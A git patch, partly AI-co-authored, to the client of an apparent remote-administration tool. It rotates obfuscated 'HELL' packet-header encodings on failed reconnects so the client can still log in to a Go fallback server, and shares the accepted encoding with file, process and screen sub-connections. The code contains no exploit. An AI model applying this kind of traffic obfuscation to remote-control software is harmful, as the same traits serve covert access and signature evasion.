From 9fadb58c761f8ce2aba69153fdbfdae5f85b757c Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Fri, 13 Nov 2026 16:47:53 +0100 Subject: [PATCH] Fix(client): rotate HELL header encoding across reconnects MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A Release client drew one of the twelve HELL header encodings in the constructor and kept it for life. The Go fallback server latches a type from the first packet and only decodes None..V6, so every client that drew V7..V10 could never log in to it — a third of them, at random, for good. The main connection now advances to the next type when it reconnects after a connection that was never login-acked (CMD_MASTERSETTING), and republishes the accepted type into CONNECT_ADDRESS::szFuture. A type that did log in is kept, so a healthy client no longer churns through values the fallback would reject. Sub-connections, including one-shot ones (file/process/screen), inherit the published value at construction and on every reconnect instead of rolling their own dice. Debug keeps its None..V6-only range; the initial Release type now comes from random_device rather than time() % N, which handed a whole batch started in the same second the same value. The slot sits at szFuture+16, after LOCAL_TEST_CLIENT_MAGIC, guarded by static_asserts; it is memory-only and never persisted or sent. Swapping the encoder is a single atomic function-pointer store, so the send and receive threads see either the old or the new encoder and never a dropped object. Co-Authored-By: deepseek-flash --- client/ClientDll.cpp | 3 ++ client/IOCPClient.cpp | 107 ++++++++++++++++++++++++++++++++++++--- client/IOCPClient.h | 35 +++++++++++-- client/KernelManager.cpp | 6 ++- common/commands.h | 37 ++++++++++++++ 5 files changed, 178 insertions(+), 10 deletions(-) diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 1c88883..58e2425 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -809,6 +809,9 @@ DWORD WINAPI StartClient(LPVOID lParam) State& bExit(app.g_bExit); IOCPClient *ClientObject = NewNetClient(&settings, bExit, pubIP); if (nullptr == ClientObject) return -1; + // 主连接:登录被接受后发布头加密类型;上一条连接没被登录接受时,重连换下一种类型 + // 轮转探测。其余 IOCPClient(文件/进程/屏幕等子连接)都跟随这里发布的值。 + ClientObject->MarkMainLink(); CKernelManager* Manager = nullptr; if (!app.m_bShared) { diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 23306e8..241c549 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -27,6 +27,7 @@ inline int WSAGetLastError() #include "IOCPClient.h" #include #include +#include #if USING_ZLIB #include "zlib/zlib.h" #define Z_FAILED(p) (Z_OK != (p)) @@ -197,6 +198,35 @@ bool IOCPClient::TryHandleAuthResponse(PBYTE buf, ULONG len) } +// HELL 头加密可选类型数:Debug 版与服务端(含 Go fallback)对齐,只到 HeaderEncV6; +// Release 版保留全部类型,靠主连接重连轮转去命中后端支持的那几种。 +static int HeaderEncCount() +{ +#ifdef _DEBUG + return HeaderEncV6 + 1; +#else + return HeaderEncNum; +#endif +} + +// 构造时的初始类型。原来直接 time(nullptr) % N:同一秒内启动的一批客户端会拿到 +// 同一个类型,快速重连也反复取到同一个值。 +// 不持有静态发生器:本函数会被多个并存实例(并发上线/分享)的构造线程调用,无共享 +// 状态就无需加锁;random_device 个别平台在 /dev/urandom 不可用时会抛异常,退回时钟。 +static int RandomHeaderEncIndex(int count) +{ + unsigned v = 0; + try { + std::random_device rd; + v = rd(); + } catch (...) { + // 极少数平台取不到 /dev/urandom 会抛异常:退回时钟(纳秒级,够打散同秒启动)。 + v = (unsigned)std::chrono::steady_clock::now().time_since_epoch().count() + ^ (unsigned)time(nullptr); + } + return (int)(v % (unsigned)count); +} + IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn, const std::string& pubIP, void* main) : g_bExit(bExit) { @@ -230,13 +260,24 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, m_DataProcess = NULL; m_ReconnectFunc = NULL; m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask(); -#ifdef _DEBUG - auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % (HeaderEncV6 + 1))); -#else - auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum)); -#endif m_EncoderType = encoder; - m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder(); + if (encoder) { + const int count = HeaderEncCount(); + int idx = -1; + if (conn) { + // 子连接优先继承主连接「已被当前后端接受」的类型(PublishHeaderEncoder)。 + // 0 表示尚未发布,回退随机,保持原有的打散效果。 + int published = GetHeaderEncSelect(conn); + if (published >= 1 && published <= count) + idx = published - 1; + } + if (idx < 0) + idx = RandomHeaderEncIndex(count); + m_headerEncIdx.store(idx); + m_Encoder = new HellEncoder(GetHeaderEncoder((HeaderEncType)idx), new XOREncoder16()); + } else { + m_Encoder = new ProtocolEncoder(); + } #ifdef _WIN32 WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); @@ -266,6 +307,52 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, #endif } +void IOCPClient::PrepareHeaderEncoderForConnect() +{ + if (!m_EncoderType) { + return; // Shine:没有头加密函数可换 + } + const int count = HeaderEncCount(); + + if (!m_bMainLink) { + // 子连接:跟随主连接最新发布的、已被当前后端接受的类型。一次性子连接(文件/ + // 进程等只连一次)因此不会自己掷骰子撞上 Go fallback 不认识的 V7~V10。 + // 取舍:后端切换(C++ 主控挂掉、Go fallback 接管)到主连接重连并重发布之间的 + // 窗口里,子连接会拿旧值反复碰壁;主连接一发布新值就自愈。这里不自己轮转,是为 + // 了让「一次性子连接只连一次」这种最常见的情形始终用主连接验证过的值。 + int published = m_conn ? GetHeaderEncSelect(m_conn) : 0; + if (published >= 1 && published <= count) { + int idx = published - 1; + if (idx != m_headerEncIdx.load(std::memory_order_relaxed)) { + m_headerEncIdx.store(idx, std::memory_order_relaxed); + m_Encoder->SetHeaderEnc(GetHeaderEncoder((HeaderEncType)idx)); + } + return; + } + // 主连接尚未发布(例如键盘子连接在主连接登录前就建好了):退化为轮转,见下。 + } + + // 第一次建连沿用构造时确定的类型(继承值或随机初值)。之后只在「上一条连接没有 + // 被登录接受」时才换下一种:已被接受说明当前后端解析得了这个类型,重连沿用即可; + // 无故轮转只会在 Go fallback 上白丢几轮(V7~V10 会被它拒掉)。 + // m_loginAcked 由 ConnectServer 在本函数**之后**才清零,所以这里读到的是上一条连接 + // 的结论(见调用处注释)。 + if (m_headerEncAttempts.fetch_add(1, std::memory_order_relaxed) > 0 + && !m_loginAcked.load(std::memory_order_acquire)) { + int idx = (m_headerEncIdx.load(std::memory_order_relaxed) + 1) % count; + m_headerEncIdx.store(idx, std::memory_order_relaxed); + m_Encoder->SetHeaderEnc(GetHeaderEncoder((HeaderEncType)idx)); + } +} + +void IOCPClient::PublishHeaderEncoder() +{ + // 只有主连接、且确实在用 HELL 头加密时才有意义。 + if (m_bMainLink && m_EncoderType && m_conn) { + SetHeaderEncSelect(m_conn, m_headerEncIdx.load(std::memory_order_relaxed)); + } +} + void IOCPClient::SetMultiThreadCompress(int threadNum) { #if USING_CTX @@ -443,6 +530,14 @@ BOOL ConnectWithTimeout(SOCKET sock, const struct sockaddr* addr, int timeout_se BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) { + // 每次建连(含重连)先定下这次要用的 HELL 头加密函数。必须在建 socket / 启动收发 + // 线程之前完成:后端只在每条连接的**第一个**包上识别并锁定头加密方式(Go 的 + // parser.go 首包锁存,认不出就 ErrUnsupported 直接断开),换类型只对「下一条连接的 + // 首包」有意义;此刻旧连接已断开,也就避开了与收发线程争用编码器对象。 + // 注意顺序:PrepareHeaderEncoderForConnect 要读上一条连接的 m_loginAcked,故它必须是 + // 本条连接清零登录标志**之前**的第一条语句。 + PrepareHeaderEncoderForConnect(); + // 登录确认标志只描述「当前这条连接」:任何一次新建连都先清零,避免上一条连接的 // 确认结果替新连接背书(协议切换的自动回退靠它判断新入口是否真的登录成功)。 m_loginAcked.store(false, std::memory_order_release); diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 04c456c..284bfbb 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -70,6 +70,8 @@ public: } virtual void Encode(unsigned char* data, int len, unsigned char* param = 0) {} virtual void Decode(unsigned char* data, int len, unsigned char* param = 0) {} + // 只有 HellEncoder 有可替换的头加密函数;Shine 等实现忽略。 + virtual void SetHeaderEnc(EncFun) {} virtual EncFun GetHeaderEncoder() const { return nullptr; @@ -79,21 +81,27 @@ public: class HellEncoder : public ProtocolEncoder { private: - EncFun m_HeaderEnc; + // 原子量:主连接重连时会在发送线程/接收线程可能同时使用编码器的时机更换头加密函数, + // 只换函数指针(零分配、零释放),读方永远拿到新旧之一,不会 UAF。 + std::atomic m_HeaderEnc; Encoder *m_BodyEnc; public: HellEncoder(EncFun head, Encoder *body) { - m_HeaderEnc = head; + m_HeaderEnc.store(head, std::memory_order_relaxed); m_BodyEnc = body; } ~HellEncoder() { SAFE_DELETE(m_BodyEnc); } + virtual void SetHeaderEnc(EncFun enc) override + { + m_HeaderEnc.store(enc, std::memory_order_relaxed); + } virtual HeaderFlag GetHead() const override { - return ::GetHead(m_HeaderEnc); + return ::GetHead(m_HeaderEnc.load(std::memory_order_relaxed)); } virtual int GetHeadLen() const override { @@ -292,6 +300,17 @@ public: m_subConnAuthClientID = clientID; } + // 标记本对象是主连接。只有 StartClient 里 NewNetClient() 拿到的那一个会调用; + // 只有主连接会在登录被接受后发布头加密类型、并在上一条连接未被登录接受时轮转 + // 探测,子连接一律跟随发布值(见 PrepareHeaderEncoderForConnect / PublishHeaderEncoder)。 + void MarkMainLink() { m_bMainLink = true; } + + // 把当前 HELL 头加密类型发布到 CONNECT_ADDRESS 的共享槽位(仅主连接有效)。 + // 必须在服务端**真正接受登录之后**调用(CMD_MASTERSETTING),不能在 ConnectServer + // 返回时就调:握手成功不代表后端解析得了这个头(Go fallback 是读到登录包才拒绝), + // 而且子连接的 ConnectServer 也会走到那里,会用自己乱撞的值覆盖发布值。 + void PublishHeaderEncoder(); + // 内部:在收到的数据帧分发到 manager 之前,尝试识别并消费 TOKEN_CONN_AUTH ack。 // 仅在我们正在等待 auth 响应时(m_authPending=true)才消费;否则透传给 manager。 bool TryHandleAuthResponse(PBYTE buf, ULONG len); @@ -334,6 +353,12 @@ public: virtual VOID Disconnect(); // 函数支持 TCP/UDP protected: + // 每次建连前调整 HELL 头加密函数:主连接上一条没被登录接受时换下一种类型轮转探测, + // 子连接跟随主连接已发布的类型。必须在建 socket / 启动收发线程之前完成——后端只在 + // 每条连接的**第一个**包上识别并锁定头加密方式(Go 首包锁存、认不出即断开),所以 + // 换类型只对「下一条连接的首包」生效;这一步同时读上一条连接的 m_loginAcked, + // 因此必须先于 ConnectServer 里的登录标志清零。 + void PrepareHeaderEncoderForConnect(); virtual int ReceiveData(char* buffer, int bufSize, int flags) { // WebSocket 传输:字节流在 WS 帧里,帧层自己处理 TLS(WSS)或裸 socket(WS) @@ -428,6 +453,10 @@ protected: bool m_exit_while_disconnect; PkgMask* m_masker; BOOL m_EncoderType; + // HELL 头加密运行态(见 PrepareHeaderEncoderForConnect / PublishHeaderEncoder) + std::atomic m_headerEncIdx{0}; // HeaderEncType 下标(仅 HELL 有意义) + std::atomic m_headerEncAttempts{0}; // ConnectServer 已调用次数 + bool m_bMainLink = false; // StartClient 的主连接标记 std::string m_sLocPublicIP; CONNECT_ADDRESS *m_conn = NULL; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index f8fb27c..b0ed1d8 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -1444,8 +1444,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) // 登录已被服务端接受:服务端把本机加入在线列表后才下发 MasterSettings // (2015RemoteDlg.cpp::SendMasterSettings(ctx, ...) 的登录路径)。协议切换的 // 自动回退靠这个信号撤销,而不是只看连接是否建立——连接建立只说明握手完成。 - if (m_ClientObject) + if (m_ClientObject) { m_ClientObject->SetLoginAcked(true); + // 后端确实按当前头加密类型解析成功了,发布给后续创建的子连接继承 + // (只有主连接会走到 CMD_MASTERSETTING,见 PublishHeaderEncoder)。 + m_ClientObject->PublishHeaderEncoder(); + } if (ulLength > MasterSettingsOldSize) { memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize); if (m_settings.Signature[0] && m_LoginSignature.empty()) { diff --git a/common/commands.h b/common/commands.h index 61b8f9b..67dbf93 100644 --- a/common/commands.h +++ b/common/commands.h @@ -10,6 +10,7 @@ #include #include #include +#include // offsetof:CONNECT_ADDRESS::szFuture 运行态槽位的对齐断言 #ifdef _WIN32 #define WIN32_LEAN_AND_MEAN @@ -1157,6 +1158,42 @@ inline bool IsLocalTestClient(const CONNECT_ADDRESS* conn) sizeof(LOCAL_TEST_CLIENT_MAGIC) - 1) == 0; } +// szFuture 前 sizeof(LOCAL_TEST_CLIENT_MAGIC) 字节被上面的本地测试标记占用;其后从 +// HEADER_ENC_SELECT_OFFSET 起放一个运行态字段(只在内存里有效,不落盘、不参与分享/ +// 转移序列化): +// int 头加密下标 + 1,0 = 尚未发布(烘焙的 EXE 里 szFuture 全 0) +// +// 用途:主连接收到 CMD_MASTERSETTING(登录已被后端接受)后,把当前 HELL 头加密类型写 +// 进来;文件/进程/屏幕等子连接在构造和重连时优先继承它,避免自己随机到 Go fallback +// 服务端尚未实现的 HeaderEncV7~V10。该值只当「提示」用:读方必须做范围校验,坏值回退 +// 随机(下标越界会读穿 GetHeaderEncoder 的方法表)。 +// +// 跨线程:写方是主连接的接收线程(CKernelManager::OnReceive → PublishHeaderEncoder), +// 读方是各子连接自己的线程(构造/重连),这里**不做同步**,也不保证读到最新值—— +// 读到旧值等价于「尚未发布」,回退随机,行为正确。前提是该槽位只承载这种提示语义: +// 不要拿它做控制逻辑,也不要放大成多字段协议。目标平台(x86/x64/ARM64)上 4 字节 +// 对齐的读写不会撕裂,配合上面的范围校验即可。 +#define HEADER_ENC_SELECT_OFFSET sizeof(LOCAL_TEST_CLIENT_MAGIC) +static_assert(HEADER_ENC_SELECT_OFFSET % sizeof(int) == 0, "头加密运行态槽位需 4 字节对齐"); +static_assert(sizeof(((CONNECT_ADDRESS*)0)->szFuture) >= HEADER_ENC_SELECT_OFFSET + sizeof(int), + "CONNECT_ADDRESS::szFuture 空间不足"); +static_assert(offsetof(CONNECT_ADDRESS, szFuture) % alignof(int) == 0, + "CONNECT_ADDRESS::szFuture 需 4 字节对齐"); + +inline int GetHeaderEncSelect(const CONNECT_ADDRESS* conn) +{ + int value = 0; + if (conn) memcpy(&value, conn->szFuture + HEADER_ENC_SELECT_OFFSET, sizeof(value)); + return value; +} + +inline void SetHeaderEncSelect(CONNECT_ADDRESS* conn, int index) +{ + if (!conn) return; + int value = index + 1; + memcpy(conn->szFuture + HEADER_ENC_SELECT_OFFSET, &value, sizeof(value)); +} + #define FOREVER_RUN 2 // 客户端程序线程信息结构体, 包含5个成员: